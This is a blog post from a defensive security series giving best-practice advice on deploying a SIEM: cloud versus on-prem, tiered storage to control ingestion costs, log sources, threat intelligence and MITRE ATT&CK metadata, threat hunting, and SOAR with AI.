Scanning the Matrix: SIEM Best Practices

(A thought from The Matrix: Neo likely used a SIEM before he took the red pill and could see the matrix without one...)

One of the best ways to monitor security-related activities for your organization is to collect audit logs from every network device and analyze those logs for activities which violate acceptable behavior. This is precisely the role of a SIEM or Security Information and Event Manager.

Let me simplify your life by providing some best practice suggestions for deploying and using a SIEM.

On-Prem vs Cloud

When enterprise SIEM solutions started appearing in the early 2000s) the only option was to build them on servers in your data center. This task was not simple, as configuration and scaling for high log ingestion rates require a fair learning curve. Although on-prem SIEM solutions still exist, most organizations are choosing to move to the cloud, which is very good at automatically scaling performance and ensuring 100% uptime.

Data Ingestion Costs

The largest cost of using a cloud-based SIEM is the ingestion cost. Collecting millions or even billions of events per day will quickly incur costs into the thousands of dollars. However, choosing a solution that offers data summarization and alternate storage solutions can make a big difference in controlling those costs. For example, some SIEMs provide multi-tiered storage options such as:

• Fast access – the newest data is kept here for at least 24 hours to use with correlations and threat hunting. This is the most expensive data storage method, so it should only be used for high-value security data for correlations and threat hunting.
• Summarized Data: Large volumes of similar data are aggregated, and only the hourly count totals are kept in high-speed data storage. For example, firewall or NetFlow traffic logs containing source IP, destination IP, and destination port. Well-summarized data can make up only a very small fraction of the actual data, and thus, it's cheap to keep around for at least 30 days.
• Archived Data: is data with low-security value or 30 days or older. Storage costs here can be less than 10x the cost of the fast-access data.
  
  

Log Sources

Develop a process for prioritizing, collecting, parsing, correlating, and reporting your logs. Eighty percent of the effort in setting up a SIEM is configuring good logging.

Correlations and Reporting

A good SIEM provides out-of-the-box support for most common log sources. This support includes data connectors for pulling in the logs, correlations for detecting threats and non-compliant activities, and reports for seeing a range of information that gives a broad visual to the activities in the logs.

Meta Data

SIEMs often provide additional "metadata," which complements the information in the logs and provides better context for correlations to decide if malicious activity is occurring. Some examples are:

• Threat Intelligence – TI will provide a library of recently observed threat entities. These entity formats include IP addresses, domains, malware hashes, and filenames.
• Mitre ATT&CK – Mitre provides several threat investigative frameworks, which provide a library of information about common threat actor groups and their associated attack tactics and techniques used to infiltrate an organization. By matching a SIEM's correlations with ATT&CK, a SOC analyst can identify threat patterns and gaps in SIEM detections.
• UEBA—User Entity Behavior Analysis is often provided as its own correlation engine, constantly monitoring user activity from the central identity service. If suspicious user activity is detected, a log may be generated and shared with the SIEM for additional correlating or alerting.

Threat Hunting

Threat Hunting provides a proactive and reactive method for investigating threat activity that may not be presented within the SIEM correlation's alert details. An experienced SOC analyst can perform threat hunts manually or automatically by executing a few or hundreds of pre-defined search queries. AI is also becoming a new tool in automated threat hunts (e.g. Microsoft's Copilot for Security).

SOAR and AI

Analyzing billions of logs per day and expecting perfect correlations with no false positives is unrealistic. This is where SOAR (Security Orchestration Automation and Response) comes in. Automation can be developed to replace the repetitive steps of a SOC operator in the first stages of an investigation. Artificial Intelligence is also starting to play a part in making it easier to develop SOAR investigative workflows. In the past, many organizations realized that developing SOAR workflows could require significant effort and knowledge. However, AI is beginning to offer some additional tools to simplify the automated investigation process.

Summary

A SIEM is one of the central tools used by a Security Operations team. A strong understanding of log processing is required to both configure and operationalize a SIEM. AI is becoming a game-changer as a SOAR component of SIEM.

References

• Microsoft Sentinel Ninja Training Series
• Microsoft Security Copilot
• Google Cloud’s SIEM: Chronicle
• Mitre ATT&CK Threat Library
• Copilot for Security – Generative AI

About This Blog Series

Follow the full series here: Building Defenses with Modern Security Solutions

This series discusses a list of key cybersecurity defense topics. The full collection of posts and labs can be used as an educational tool for implementing cybersecurity defenses.

Labs

For quick walkthrough labs on the topics in this blog series, check out the story of “ZPM Incorporated” and their steps to implementing all the solutions discussed here.

Compliance

All topics mentioned in this series have been mapped to several compliance controls here.